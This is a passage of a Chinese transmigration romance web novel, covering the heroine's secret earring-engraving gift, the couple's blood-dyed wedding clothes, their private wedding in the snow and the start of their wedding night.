哦,对了。 这是她喜欢他的证明。 奚逢秋望着她,呼吸不大顺畅,兴奋的余韵未褪,身体还在止不住地微微颤抖,袒露的锁骨依稀可见其咬痕伤疤。 池镜花才不管那么多,她二话不说直接吻住他。 吻甫一落下,少年立即扣住她的后脑,指腹按住她的后颈,不愿放过与她放纵亲近的好机会。 他又想喊她了。 他湿润的长睫如蝶翅无助地震颤着,情到深处时实在忍不住呼唤她一声。 “池镜花……” 池镜花早已没有力气,身上又热又烫,软绵绵地躺在他怀里,全靠本能去回应他。 “嗯,我在这。” 她还没有走呢,彼时身体正与他交缠,在跟他交换呼吸和体温呢。 奚逢秋微微睁开雾气缭绕的瞳孔,侧过身牢牢抱住她,把她的脑袋埋进自己怀中,不让她动弹。 池镜花唇上又麻又烫,因过多吸入他身上的香气而头晕目眩。 她轻喘着说:“别这样,我真的要出门了……” 他稍微收敛力气,却不肯完全松开,犹如溺水之人抓住了唯一的浮木。 “要记得我在等你。” 第108章 第108章动作莫名涩情。 虽然 与奚逢秋纠缠不少时间,不过池镜花出门时,特意用新鲜的鲤鱼收买了小白,让它给自己找一条最近的路通往街道。 小白欣然接受提议,眼珠子一转,眨眼振翅飞上枝头,左右转动长脖,快速锁定路线。 “那我出门了。” 早已绑好头发、穿好衣裳的池镜花站在门口,双手勾住他的脖颈,让他低下点头,随即踮脚轻轻吻了下他的额头,眸中盛满清澈的笑意。 他乌睫一颤,极轻地“嗯”了一声。 似想起什么,池镜花并未松手,而是笑着地盯着他的眼眸,面露出几分期待之意。 “对了对了,你需不需要什么?我给你带!” 少年垂眸认真思考一瞬,而后抬眸,灼灼目光一寸寸扫过少女熟悉的五官、白皙的肌肤,终于在她明亮的眼眸。 嗯,只有他的身影。 这点很好。 他不由露出满足的浅笑,双手捧住她的脸颊,额头抵着她的,亲昵地蹭了蹭她的鼻尖,轻轻摇了摇头。 “不需要别的,我只是需要你。” 好家伙,情话说得还挺溜! 话说他什么时候学会的? 池镜花面颊一热,赶紧推开他,生怕再与他纠缠下去,自己今天出不了这个房门,却也不忘安抚他。 “好了,知道了,别担心,我会很快回来的!” 她忙不迭地挥手离去,一边跟着白鹤往街上走,一边考虑送礼物的事情。 仔细想想,她似乎从未送过他一件正经礼物,一直以来都是她在享受奚逢秋给自己生活上带来的好处和便利。 不行。 她必须得送点什么。 念及此处,池镜花不由加快步伐,只想赶紧给奚逢秋挑选个合适的礼物,至于是什么……她已经有了主意。 但在此之前,她得去一趟成衣铺。 不过令她没想到的是,哪怕在京城,男式婚服的样式都十分单调,除了布料,基本看不出什么差别。 尽管如此,池镜花还是认认真真地挑选了套她认为的最合适的。 不过由于尺寸不合适,还得等个三天才能拿到成衣。 池镜花掰着手指,算出六天后才是成亲的日子,也就应下了。 付完账,池镜花一把抓住白鹤,转身直接去了旁边的首饰铺子。 她挑挑拣拣,选了个跟奚逢秋目前最为相似的耳铛。 鲜红的长形耳铛,不过没有小字。 她捧着挑好的耳铛给老板娘看,“请问,你可以教我怎么在这上面刻字吗?” 已近黄昏,店内只剩最后一名客人,年轻的老板娘正用算盘计算一天的收益和支出,听到池镜花声,噼里啪啦算盘声停下,她抬头瞅了一眼面前的姑娘。 “这个不适合你。” 言罢,又继续埋头算账,看着十分冷淡。 池镜花立刻回道:“我送人的。” 她记得很清楚,奚逢秋的耳铛是他母亲从自己耳上摘下丢给他的。 或许在苗献仪眼里,奚逢秋就跟这枚耳铛一样,是可随意舍弃的。 可他对池镜花来说很珍贵,是她在这个世界上最喜欢的人。 既然过往无法改变,那她想以两人间的美好覆盖奚逢秋那些不愉快的记忆。 这样,当幸福大于痛苦,他就会开心一点了。 老板娘发间金色珠钗摇曳了下,彻底停止拨弄算盘,她抬起眼眸,细致地打量眼前人,发现池镜花压根没有耳洞,心中有个大致猜想。 “你要自己刻?” 虽然老板娘看上去依旧冷冰冰,可语气却松了许多。 池镜花重重点头,“嗯,我自己刻!” 老板娘什么也没说,从柜台下抽出把小刀递给她,接着,耐心为她讲解给耳铛刻字的技巧。 池镜花听得仔细,时不时地点头示意,跟对方眼神接触,像课堂中坐在前三排的好学生,完全接收到老师所传达的含义。 待消化完理论知识,池镜花开始思考她究竟给奚逢秋刻什么字比较好呢。 她望向斜照在门口的夕阳,不知想到什么,决定继续刻上“年年”二字。 因为这才是他。 说干就干。 可理论终究只是理论,她的动手能力实在太差。 要么一不小心刻错位置,要么就是划到指尖,一碰就是一道口子。 多次下来,不仅浪费不少耳铛,而且血也流了不少。 池镜花疼得咬紧下唇,额间逐渐渗出细密的汗珠。 老板娘外冷内热,瞥见小刀上的血迹,无奈地摇头,叹了口气,道:“这个很难的,你是新手,一时半会儿肯定学不会。” 池镜花闻声回神,望着桌上摇曳的烛火,以及老板娘一脸倦容,才意识到天已经黑了,她耽误人家太多时间。 她不好意思地挠挠脸,面带道歉意的笑,“对不起,浪费了你这么长时间,我明天再来吧。” 若让小白带路,代价无非一筐鲫鱼,划算! 察觉到她身上一股莫名的执着劲,老板娘实在看不过去,她向池镜花摊开五指。 “别明天了,我直接帮你刻了算了,告诉我,你想给你的情人刻什么字?” 事情的发展有些出乎意料。 池镜花眨了两下眼睛,拒绝了来自老板娘的好心之举,“谢谢你,但还是我自己来吧。” 都说是情人了,而且是她要送礼物,怎么可能让别人代劳,那也太没有诚意了! 说罢,池镜花掏出银两,买下她弄毁的全部耳铛,向照顾她一整晚的老板娘真心道了句“多谢”,直接夺门而去。 好在吃了她一筐鲫鱼的白鹤还没走。 已经在外面待了一整个下午,远远超出计划,池镜花抓住白鹤赶紧往回赶。 当然,在进门之前,她不忘在门口溪流边洗净指尖的血迹。 待擦干指尖透明水迹,她轻轻推开院落的木门。 “奚逢秋,我回……” 话还没说完,她已落入盛满清香的怀抱,整个人被奚逢秋紧紧锢在怀里。 他又习惯性地将脑袋埋进他的发间,声音略略发颤,像在抱怨。 “我等了你很久……” “嗯,对不起,我现在回来了。” 池镜花只能抱着他安抚他。 不多时,她忽然察觉冰冷的指尖在自己后背和腰间游走。 少年蓦然握住她的手指。 他稍微收敛力气,垂下眼眸,细细打量她指尖细小刀伤,放到鼻间轻嗅,任由少女的血腥气味盈满他的鼻腔。 动作莫名涩情。 偏偏他全然没有这方面的自觉。 池镜花想抽回手指,却被他死死抓住,甚至指尖得寸进尺地插|进她的指缝,与她牢牢地十指相扣。 迷朦月华笼罩四周,倾洒在他浅白的衣间,少年如画的眉眼潜着太多疑惑。 “为何会受伤?” “这是因为……” 池镜花支支吾吾,主要不想在没给耳铛刻好字之前透露太多,这样一来就毫无惊喜感了。 她瞳孔微转,记起奚逢秋曾对自己说过的一句话,索性依葫芦画瓢,将这句话原封不动还给他。 “反正你很快就知道了。” 言毕,不给他任何反应时间,池镜花直接抓着他,把人往屋里带。 忙活一下午,池镜花立即给自己倒杯水。 一杯水下肚,池镜花看见奚逢秋不知何时已取出金疮药。 他以指腹轻按了下她的指尖,仔细感受她伤口的纹理和走向。 少年弯眸微弯,望着她露出个和煦的笑容。 “我想试着为你上药,可以吗?” 池镜花没有拒绝的理由,乖乖摊开手指,交代一句:“你轻一点。” 桌面烛火明明灭灭,映在少年苍白的面颊,他始终静静凝望着池镜花,莫名想到她施加在自己躯体上的疼痛滋味,疑惑再度浮上眉间。 “疼,不好吗?” 啊? 池镜花指尖本能地蜷缩了下。 奚逢秋不大理解她对疼痛的认知,极为困惑地歪了歪脑袋,摇曳的火苗身影映进鲜红的耳铛。 “只有 你碰我,我才会感知到疼痛,那我碰你,你也会疼,这不好吗?” 池镜花摇了摇头,“我的情况跟你不一样。” 奚逢秋持续追问:“哪里不一样?” 池镜花思考半分钟,娓娓道来:“和你只有被我触碰才会感知到疼痛不一样,我只要受伤就会疼,而且我不喜欢疼痛的滋味,这会让我很难受。” 对啊,讨厌疼痛才是正常表现,鲜少有人会跟他一样,在剧烈的痛楚中寻找生存的意义。 “这样啊……” 他脑袋微垂,纤长震颤的睫羽半遮蓝色瞳孔,沉默中,似在努力理解她的话语。 不多时,他复又抬眸,眼底重新浮现清润温柔的笑。 “既然这样,我会轻一点,不会让你感受到疼痛的。” 池镜花相信他说到做到。 不过,比起上药,奚逢秋更像是发现了什么极为有趣的事情,对着她的指腹又戳又碰,时不时有低笑溢出喉咙。 真是奇奇怪怪的兴趣爱好。 池镜花受伤的指腹又疼又痒,很想一把抓住他的手指,让他赶紧上完药。 可她不愿让他失望,只能忍耐。 不知过去多久,与其说上完药,倒不如说他终于得到满足,才愿意松开缠着她的指尖,不小心剐蹭了下她的掌心。 池镜花长舒一口气,火速把双手背到身后,不再给她触碰自己的机会,鬼知道这有多难熬。 “哦,对了,忘记跟你说了,明日我还得继续出门,不知道会持续几日,但等事情办完就不会再频繁出门了。” 她一本正经地说完,来不及反应,一道外力猝然扣住她的脑袋,只觉得唇间一凉。 少年微微俯身,立即吻住她的唇瓣,借此宣泄自己的不满。 只要分离,他就会克制不住地思念她,满脑子都是她的身影,想要亲她、抱她、触碰她。 哪怕片刻也不行。 第109章 第109章下雪了。 翌日,阴天,罕见地起了大风。 池镜花又是临近中午才起的床。 出门前,她特意用厚衣服将自己裹个严实,又回头望了一眼正坐在床边凝望着她的怨夫。 少年乌发飘散,脸色苍白,唇瓣却异常地红,流畅漂亮的颈侧隐隐透着几道明显的淡粉吻痕。 池镜花难为情地咳嗽一声,伸手轻轻抱住了他,给没有安全感的他给予一丝安慰。 “放心,今天不会那么晚了,我一定会在天黑之前赶回来的。” 少年指尖温柔抚摸她的发丝,轻“嗯”一声,没有多做纠缠。 池镜花慢腾腾地推开他,“那我走了。” 奚逢秋乖巧点头,目送她离开以后慢慢起身。 他瞳孔微转,视线扫视一圈四周,好似在寻找什么,终于,他低头扯出一截白丝,轻而易举地划破指腹。 一点也不疼。 但当他垂眸望向指尖溢出的扎眼血珠时,只觉得这鲜血与嫁衣的颜色甚像。 要是有办法能让她每天带着就好了。 就好像她与自己永不分离一样。 他完全意识不到自己滋生的想法有多么偏执疯狂。 原始的欲望沟壑不断滋生,血淋淋的躯体逐渐勾带出皑皑白骨。 池镜花对此毫无知觉。 一路顶着冬日寒风,池镜花跟着白鹤,急匆匆地赶到首饰铺子。 一进门,她掀开披风的帽子,轻轻揉了揉快要冻僵的脸颊,朝里面喊了声“老板娘”。 正在打盹的老板娘闻声抬头,首先映入眼帘的是少女红肿的嘴唇,和昨天下午截然不同。 她将小刀递给池镜花,顺便问道:“你嘴唇怎么回事?” “啊,这个……” 池镜花下意识摸向还在发烫的唇瓣,又记起昨夜发生的事情。 当她说完还要持续几天出门时,奚逢秋便不再听她说话,兀自低头含住她的唇瓣,反复碾磨,直到她呼吸困难才肯起身。 从未这般主动,而且用力。 直到一吻结束,池镜花依旧没怎么反应过来,眼神迷离地张口轻轻喘息。 少年埋进她的颈窝,滚烫的身躯微微颤抖,无助地抱着她。 “你为何总要这样?” ——总要丢下他一个人。 “我不是……” 池镜花不好坦白她出门的理由,干脆直接把人塞到床上,迅速褪去两人多余且碍事的衣裳,捧着他的脸颊,仅有零零碎碎的吻落在他的脸颊。 身体力行地表明她有多喜欢他。 多亏如此,才能让他迅速冷静下来,代价就是第二天池镜花发现他身上多出许多暧昧过的痕迹。 她的唇瓣也因他不知满足地舔吮而肿了起来。 回忆至此,池镜花不好意思地垂下脑袋,假装看不清耳铛,认真做着手上的工作。 半晌后,她才支支吾吾回应:“……被毒虫咬了一口。” 一开始,确实是奚逢秋主动的,可后来,主动权完全在她手上。 只是这种事情,怎么好意思放到台面上说呢。 她只好假装刻字。 老板娘在一旁看着不说话,只有偶尔在她出错时才会出声提醒。 经过一下午的训练,池镜花忽然发现自己还是挺有天赋的。 比如,今天,她的受伤次数少了许多,而且刻的“年年”二字也初具字形,虽然还极其难看,但总归有个盼头。 眼瞅着接近傍晚,池镜花不想重蹈覆辙昨晚的事情,跟老板娘说了句“要回家了”,付了账,就往外走。 通人性的白鹤依旧在等她。 但不曾料到的是,池镜花走着走着,忽在长街尽头见到一抹熟悉的身影。 似乎特地在等她的样子。 池镜花一路小跑,鼻尖在冷风中冻得通红,仰头望着奚逢秋,眼眸弯弯,面上是呈以惊喜的笑容。 “你怎么在这里?” 少年缓慢摊开五指,“接你回家。” 他守在此处等她回归,是因为奚逢秋渴望时时刻刻与她独处。 池镜花毫不犹豫搭上他的手指,牵着他往家的方向走,蓦地想起什么,偏头好奇地问:“你刚才没看见我从哪里出来的吧?” 奚逢秋淡淡垂下眼眸,如实道:“没有。” 即便他十分好奇池镜花每日瞒着他在做些什么,还把自己弄出如此多的伤痕,可若他强行逼问,恐会让池镜花对他心生厌恶。 还是算了。 而且,她今日也确实信守承诺,没有太迟回来。 奚逢秋微微歪过头,墨发飘荡,耳铛划过颈侧的淡粉色吻痕。 他眼底含着清润的笑,轻声问道:“我好看吗?” 池镜花眨眨眼,“当然好看!” 何止啊,简直是天下第一好看! 池镜花以前看书时只在路人的口中得知男配很漂亮,却毫无实感,只有真的见面接触了,才知道自己的定力有多差。 完全没办法拒绝。 奚逢秋做出思考状,面上依旧挂着浅浅的温和笑容。 “可倘若出现比我更好看的人怎么办?” ……怎么说得好像她只贪图他的美色一样! 可脸只是一方面,真正令池镜花动心的是与他日积月累的相处。 她爱的是他的全部。 “别人都比不上你,我也只喜欢你!” 池镜花直接给予他个明确的回复。 就如同他总不厌其烦地问她可不可以一直陪他,无非是想向她讨要一个肯定的答案,一个足以令他安心的答案。 所以她不需要东拉西扯,直接满足他心底的深层需求就行。 风不知何时更大了,两人发丝缠绕,衣袂交叠。 池镜花停下脚步,反握住他的手指,踮脚附在他耳旁小声呢喃:“反正在这个世界上,我只喜欢你。” 独属少女温热香甜的气息尽数喷洒在他脸颊。 奚逢秋没有说话,定定望了她几秒,目光落在她红肿的唇上,微凉指尖极轻地按了下。 池镜花立马转过头,带着他继续往前走,自然而然地转移的话题。 “明日你继续来接我吧。” 话音刚落,少年的低笑刮过她的耳廓。 “不怕被我发现你的秘密吗?” 听着他玩笑般的话语,池镜花语气十分轻松,耳鬓青丝在风中肆意飞扬。 “怕啊,可我更想见到你。” 反正这个秘密本就因他而有。 池镜花估摸着,再来几天她就可以出师了,到时候,别说“年年”两个字,任何小字都不在话下。 奚逢秋没有追问,只笑着道了句“好”。 似乎只要与她这般相处,她还喜欢着自己,不会抛弃他就好。 第二日,他果然守约。 同一个时间同一个地点,池镜花再次看见他。 她灵机一动,让他背自己回家。 奚逢秋听话照做。 第三日亦是如此,唯一不同的是,池镜花拿到了在成衣铺为奚逢秋定做的婚服。 而他们会在两日后完婚。 这两天,池镜花除了要去首饰铺学习给耳铛刻字,还陆陆续续买了些成亲需要用的物品,无非红烛之类的。 至于剪纸……根本不用她操心。 每每此时,池镜花总觉得她纳了位贤夫。 在成亲前的最后一日,池镜花给一直照顾她的首饰铺子老板娘带了份点心。 当然,她并未挑明自己即将明日成亲一事,毕竟,他们没准备宴请任何人,只要他们彼此还在一起就好了。 她顺带还跟老板娘请了两天假,好歹得给她点时间完成终身大事。 老板娘拎着池镜花送的点心,眼神狐疑地打量着她,“再过两天就要过年了,就算你来我也不会开门了。” “啊?” 她倒忘了还有这么件事。 “你回去自己练习不就行了,反正也学得差不多了。” 老板娘急着打样休息,将小刀和剩下的全部耳铛全部打包塞给她,掌心抵着她的后背,推她出门。 “快回去吧,要变天了。” 变天? 池镜花抬头一看,确实见天色不妙。 她揣好老板娘给的东西,抓紧往长街尽头赶。 在看见伫立在街道尽头的少年时,刹那间,池镜花只觉得额头一凉,以为是雨,不想抬头时,一片冰洁的雪花飘进眼里。 下雪了。 第110章 第110章合籍完婚。 冰洁的雪花三两片地簌簌飘落。 池镜花拉着他一路快跑,赶回家时,地面已经快要积雪。 她伸手将衣上和头上的积雪拂去,把门关好,点上只剩半截的蜡烛,又往火盆里丢了几块碳,搓了搓手指。 如此总算暖和起来。 做完这一切的池镜花转过身,看见奚逢秋全身被雪打湿,睫羽上正颤着几朵即将融化的细小雪花。 她想让他把雪擦拭干净,不料少年慢腾腾地朝他摊开五指,掌心躺着一条手链。 “这个。” 他脑袋微垂,淡淡目光盯着掌心,不知想起什么,唇角兀然荡漾出个怪异的笑来。 “很适合你。” 池镜花捡起认真端详了下。 手链呈以血红,材质摸着很是奇怪,既非铜铁也非金银,上面还缀着几朵残败的紫色花瓣,是缩小版的莲花。 池镜花又将手链置在鼻间嗅了下。 嗯,是他身上的香气,似乎隐约夹带着淡淡血腥。 很符合他的风格。 池镜花不由弯起亮晶晶的眼眸,面上浮出清澈的笑意,开玩笑似的开了口。 “这也是你做的吗?” 烛火张牙舞爪地映在他的衣间和脸颊一侧,奚逢秋轻轻点着头,偏以一副乖巧天真的表情诉尽那些瘆人的言语。 “嗯,是我用自身骨血给你制成的。” 听到“骨血”二字,池镜花指尖微不可察地颤了下。 察觉到少女的情绪波动,在池镜花尚未给出任何直接反应之前,直接将人按进自己怀侧,脑袋埋进她的发间,活像一条被雨水淋湿的小狗,连声音都在发颤。 “不要拒绝我……” 说实话,池镜花没准备拒绝他,只是认为他的行为有些偏激。 但只有这样才是他嘛。 池镜花喜欢他,也不想把他雕刻成和大街上其他人一样。 她慢慢摇了摇头,神情认真地轻轻推开他,让本亲密无间的两人留有一丝交谈的空隙。 “我没有要拒绝你。” 闻言,奚逢秋微微歪过脑袋,当鲜艳的耳铛从少女眼前划过时,他的语气中夹带着不确定的试探。 “那日日佩戴,不能取下,好吗?” ……突然发现他还挺会得寸进尺的。 “好好好,不取下来。” 池镜花哄孩子般的将手链扣在自己的手腕,又故意笑着在他面前晃了晃。 “这样可以了吧。” 他双眸微弯,唇角勾起个满足的笑容,接着握住她的手指,以自己的脸颊亲昵地蹭着她的指尖,一举一动透着无尽的温柔与眷恋。 “嗯,我是你的……” “我会永远陪在你身边的……” 虽然很令人心动,可池镜花不明白。 别人家的男朋友都是霸道地对女友说“你是我的”,怎么到他这里完全反过来了? 他到底将自己代入了什么角色啊? 池镜花不好意思地轻咳一声,做好心理准备抬眸时,耳尖通红。 “咳,奚逢秋,你愿意娶……不对,你愿意跟我成亲吗?” 可不就是“求婚”嘛,毕竟,从此以后,饭他来做,地他来拖,衣服他来洗,简直赚大了! 似是没想到她会主动这么问,奚逢秋表情微怔,随即指尖轻柔抚摸上她的发丝。 “嗯,我愿意,我愿意同你成亲,我愿意为你做任何事。” “我知道。” 池镜花忍不住抱住了他,即便他不说后面两句,她也能从细枝末节的小事中体会到他的意思。 少年掌心习惯性地按在她的腰际,脑袋埋进她的颈窝,嗅着她身上的气息,在她颈间轻声呢喃。 “不能离开我啊,我们要永远在一起……” 眼看即将引火烧身,池镜花赶紧松开双手转移话题。 她抬着头,眨了两下眼睛,表情无辜又迷茫,“话说你给我缝制的婚服呢,我想看看。” “好。” 说罢,他取出婚服。 跟成衣铺的嫁衣相比,他手工缝制的其实没那么精细,衣上有几缕金丝线勾出一朵朵别致的盛放莲花。 池镜花接过闻了一下,跟手链的传来的气息如出一辙,不由得狐疑地打量着他。 “没有用什么奇怪的材料吧?” 奚逢秋表情疑惑,“何为奇怪的材料?” 池镜花解释:“就是你的骨血之类的。” 他笑着回道:“一点点。” 池镜花心间一颤,“有多少?” 他指了指鲜艳的婚服,唇角含笑,面色平静道:“只是用血给婚服染了个色,感觉会更好看些。” 若非对象是他,池镜花真要被吓晕了。 可又不得不说,他的兴趣爱好实在奇怪。 池镜花想看看婚服尺寸,低下头的瞬间,无意间发现嫁衣里夹杂着张纸。 她放下婚服,有些好奇地捡起,“这又是什么?” 奚逢秋坦然道:“你的名字。” 池镜花打开,烛光映照下的淡黄纸上果真只写了三个字。 ——池镜花。 虽然也是用鲜血描摹出的字体,可跟在落雪山庄因嫉妒写下的字不一样。 此时此刻,池镜花手里的字端庄漂亮,如春水般流淌着他无穷尽的依恋。 比她写得好看千万遍。 尽管如此,池镜花还是十分不解,“为什么要写我的名字?” 少年垂下眼眸,长睫在昏暗的烛光下震颤着,发尾正往下滴着湿漉漉的雪水,莫名溢出一股破碎感。 “我身无长处,唯有这点可以取悦到你。” 池镜花被他自卑敏感的行为逗笑了。 她复又轻轻圈住他的脖颈,笑容明媚灿阳,“谁说你没有优点了,你长得多好看啊!” 奚逢秋蓦然捧住她的脸颊,眼底逐渐浮出一丝湛清的笑,“你果然只喜欢我的脸。” 怎么又来! “没有……” 池镜花正欲解释,突然间,只觉唇上一凉。 少年俯身低头吻住了她,却因昨夜太过放肆而顾及她唇上的红肿,所以没敢太用力,只如小鸟那样轻啄一下。 事后,他以指腹小心翼翼地替她拭去唇上痕迹,垂下的目光不曾离开她半步,一举一动似散发出勾人意味。 “喜欢吗?” 可恶。 他怎么变得这么会了! 池镜花完全被他的美色拿捏得死死的。 她诚实道:“嗯,喜欢。” 尽管得到她的肯定回复,可奚逢秋并不满足。 他微不可察地叹口气,指腹仍在摸索她的唇瓣。 “要说喜欢我。” 池镜花毫不犹 豫地答道:“我喜欢你。” “要说爱我。” “我爱你。” 奚逢秋满意地轻笑一声,下意识地搂得更紧,只恨自己不能时时刻刻与她在一起。 被他这样抱在怀里,虽然很舒服,可池镜花快被他身上的融化的雪水冻死了。 池镜花推搡他,把人强硬地按在凳子上,用干布巾给他擦拭身上的水迹。 “好了,我来帮你把身上的水擦干。” 毕竟不能就这样上床睡觉,她会被冻死的,偏偏他还老喜欢让她抱他。 有时候夜里,池镜花无意中翻个身,都会被他从身后抱住,生怕她跑了似的。 毫无安全感。 这种情况是无论她说过多少遍“喜欢他”“爱他”都不见好转,唯有她承诺他永远留在此处,陪他左右。 念及此,池镜花深深地叹了口气,待擦干他身上的雪水,她站到他面前,主动张口双臂。 “抱我去睡觉。” 奚逢秋不疑有他地应声,把她抱上床。 池镜花直接干脆地把两人多余的外衣褪去,钻进被褥里,主动抱着他沉沉睡去。 雪花飘了一夜,第二天清晨,院子的地面早已积上一层厚雪,目之所及,皆是白茫茫的一片。 池镜花一打开窗户,堆在树枝上雪花被冷风一吹,落在她的鼻尖。 瞬间清醒。 她轻轻拂去风雪,关上窗户,目光扫视四周。 虽然不像别人成亲那样热闹,但还有的一件不少,家里的门窗上还张贴着奚逢秋亲手剪的“喜”字。 还是挺喜庆的。 池镜花换上婚服,虽然合身,可一想到这鲜艳的红是掺杂着他的鲜血,不免有些无奈。 她抬头望着身着新郎婚服的奚逢秋,以教育的口吻说道:“以后不要再做这种事了,我会心疼的。” 就算他不会疼,可一想到他流的血、身上那些伤口皆因由于她,怎么可能不动容! 他笑着“嗯”了一声。 因为提前丈量过他的尺寸,鲜艳的婚服很好地勾勒出少年的身形,衣领和袖口皆以金丝线作为装饰。 池镜花目光继续上移,落在他的耳铛上,想到她尚未完成的礼物,只想希望赶紧在年前完成。 她拉过他的手腕,坐在铜镜前,对镜子里的人说,“给我绑头发吧。” 奚逢秋听话照做,待熟悉地替她绑好头发,蹲下身下,食指指腹轻轻按住了他的唇。 池镜花一惊,看见铜镜里自己唇上多出的一抹朱红,瞬间明白他的意图。 “你要给我涂口脂吗?” 他有些困惑地歪过脑袋,每一个动作分明色气满满,可眼神和表情却天真至极。 “可以吗?” “当然可以。” 虽然她不常化妆,但今天情况特殊,况且还有他主动服务,没什么不好。 征得她的同意,奚逢秋一边轻柔地替她涂抹胭脂,同时仔细探查她唇上的伤势。 直到确认她的唇瓣已经恢复正常,奚逢秋才弯起漂亮的双眸露出个笑容,“好像消肿了。” ……不是,这都要怪谁啊! 少年毫无察觉,指尖还在她的唇上辗转碾磨,将口脂均匀地涂抹在她唇上。 不经意间,他略显愉快地笑了一声。 池镜花被他弄得很痒,有些紧张地攥紧嫁衣,眼看口脂上得差不多,立马别过脸去。 “好了,可以了。” 奚逢秋愣了下,旋即想到什么,“稍等。” 池镜花不明所以。 不多时,她看见少年拿出一男一女两张纸人。 奚逢秋将纸人递到她眼前,“像你口中的父母吗?” 池镜花猝然想起纸人的来历。 她跟奚逢秋说过,人们在成亲以前都会见双方父母,她已经见过他的母亲,而奚逢秋却从没有见过她的父母。 所以,她跟奚逢秋说了下大致长相,而对方,则凭自己的理解剪出两张纸人。 池镜花接过纸人,将纸人的模样脑海中的记忆仔细比对了一下,不由点了点头。 “嗯,像。” 蓦地,他又想到什么,指尖轻抚过纸人的轮廓,眉宇间染上一抹化不开的愁色。 “听说人类嫁娶要征得父母同意,他们会同意吗?” 听着他的担忧,池镜花忍不住笑出声来。 她的双手搭在他的肩上,踮脚亲昵地搂住他的脖颈,“你不是总让我不要考虑其他人吗?” “奚逢秋,我与你成亲事因为我愿意,我喜欢你,这辈子,我想我只会喜欢你,所以,我想要同你生生世世。” 所以,无论纸人像不像,他们会在天地的见证下合籍完婚。 110-120 第111章 第111章不准备那么快结束。 夜里,雪虽然停了,但地面积的厚雪不曾撼动半分,四周只他们一户人家,稍显落寞地伫在河边,河水还结了冰。 不怕冷的白鹤正在冰面上瞎溜达。 因为不存在吉时的概念,池镜花与他一直磨磨蹭蹭到傍晚才总算拾掇好。 完全没有成亲该有的紧张。 说到底,他们之前的相处已跟婚后差不多,不过缺个仪式。 “我们去外面拜天地吧。” 说着,池镜花眨了两下眼睛,高兴地将他拉到院子里。 毕竟他们双方父母都不在,又没有宴请亲朋好友,实在没必要在乎在什么地方拜堂。 只不过,外面的雪虽然早就停了,可风依旧很大,池镜花甫一出门,就被冻得打了个哆嗦,下意识抓紧了身侧之人的手指,希望汲取到一丝体温。 奚逢秋微微偏头,墨发随风晃动,轻轻绕在颈侧,“还要在这里吗?” “要。”池镜花点了点头,不由皱了下眉,“屋子里很闷。” 由于正处冬季,池镜花怕冷,所以他们时常烧火盆,虽然经常通风,但屋内还是会闷。 说话间,池镜花把他拉至长青竹下。 身后的雪地里留下两排清晰的脚印,池镜花抬头望着枝叶上压着的雪霜,不想冷风一吹,枝叶摇曳,眼看雪花即将落在她身上,却被身侧之人伸手给挡住了。 “给我看看。” 池镜花握住他的手指,捏了捏他冰凉的指尖,替他拂去指上风雪。 她很早就发现了,他的手指很好看,尤其当白丝缠上,若是沾上鲜红的血迹,更衬得他冷白的指节修长漂亮。 少年笑得温温柔柔,“没关系的。” 池镜花挠着脸,支支吾吾地道:“那什么……你以后要格外在意你自己,要比现在还要在意。” 奚逢秋垂眸看了一眼他们交缠的手指,满脸不解地问:为何?” 池镜花不大自然地咳了一下,“因为成亲以后,这些都是夫妻共同财产。” 像是听到什么有趣的事情,他蓦地弯起了唇,温柔到连落在眼睫的雪都化成了春水。 “这样啊。” 他声音呢喃,池镜花却听得脸颊一红,怪他总要她说些难为情的事情。 她赶紧拉着他,朝天地拜了三拜,最后是夫妻对拜。 再简单不过的仪式。 除了天地彼此,再无他人见证,也不需要别人的点评。 他们这样已经很好了。 毕竟一百个人有一百种幸福的方 式,没必要追求和别人同等的幸福。 池镜花揉了揉快要冻僵的双颊,“好了,我们回去吧。” 她牵着他,踏着来时的脚印往回走。 回到屋内,奚逢秋将窗户开了条缝隙,好让空气循环,才不会太闷。 夜幕降临,月光的凄冷光芒照在雪地里,将屋内映得更亮。 池镜花倒了两杯酒,将其中一杯递给他。 奚逢秋伸手去接,看了眼晃荡的酒水,鼻间充斥酒香混着她指尖的香气。 他不由抬眸望着她笑:“是合卺酒吗?” 池镜花诚然点头:“嗯,对,合卺酒。” 毕竟她是有名的三杯倒,一杯下肚,就已经晕晕乎乎的。 说罢,池镜花霸道地与他完成交杯,低头轻抿一小口,因酒精的作用,面颊已经快烧起来了,赶紧借口去沐浴。 借着沐浴,她才总算恢复正常。 回到房间的池镜花催促他赶紧也去沐浴。 待他的身影消失后,池镜花一个人躺在床上,不知等了多久,迷迷糊糊地快要睡过去,耳边响起一阵窸窸窣窣的响动。 池镜花翻身睁眼,看见奚逢秋手里多了把锁链,脑海中浮现中无数小黑屋强制爱的场景。 吓得她立马从床上坐起。 看着离自己越来越近的少年,池镜花只觉得脚下一凉,说起话来都不利索。 “你你你你——” 池镜花觉得不应该啊,他们两情相悦,甚至还成了亲,怎么还会发展到小黑屋的地步? 虽然池镜花十分享受与他独处的时光,但小黑屋毕竟关乎人身自由,一时有些接受不了。 奚逢秋坐在床边,刚沐浴完的发丝还滴着水,指尖已抚上池镜花散落的乌发。 “别害怕,我不会锁住你的。” 那是只有他疯癫的母亲才会做的事情,他不愿父亲的厌恶表情出现在池镜花脸上。 只是他的话语并未让池镜花放松,相反,她隐约有种不祥的预感。 “那你拿这个干嘛?” “我想让你锁住我。” 说话间,他又埋进她的颈间,微微发颤的低沉嗓音如白羽轻撩她的耳廓。 “我会听话,会陪在你身边,任你差遣,求你不要抛弃我。” 池镜花身体绷直,他的每一个字犹如烟花般在她耳内轰然炸裂。 归根结底,还是苗献仪抛弃他带给他的影响太深了。 池镜花轻捧住他的脸,让他正视自己的眼睛,“奚逢秋,你相信我,我永远也不会抛弃你的。” 同样的话她已说过无数遍,更别说他们已经是合法夫妻。 奚逢秋低头沉默,指腹摩挲着锁链,不知在想什么。 池镜花干脆从他手里抢过锁链,拴住他的腿脚。 “这样可以了吧?” 奚逢秋没有回答,取而代之的是系统提示音。 【男配好感度+5,当前好感度95/100】 池镜花:“……” 她真的服了! 因为前面几次好感度提升的太过正常,以至于她差点忘了男配这古怪的兴趣爱好。 如此这样,在外人第一眼看来,分明是她强制了他! 只要他每动一下铁链就会发出清脆的响动。 池镜花复又坐回他身边,仰面看他,“你这样,我们怎么睡觉?” 奚逢秋抬脚,忽然意识到个问题,“会很吵吗?” ……她倒也不是这个意思。 池镜花思索了下,目光触及桌上的红烛,偏头一脸认真地询问:“你知道寻常人成亲当晚要做什么吗?” “嗯,知道。” 少年又快又乖巧地轻轻点头,指尖顺带点了点她的唇,眉眼舒展开来,漾出个不带任何情欲温润的笑。 “肌肤之亲,对吗?” 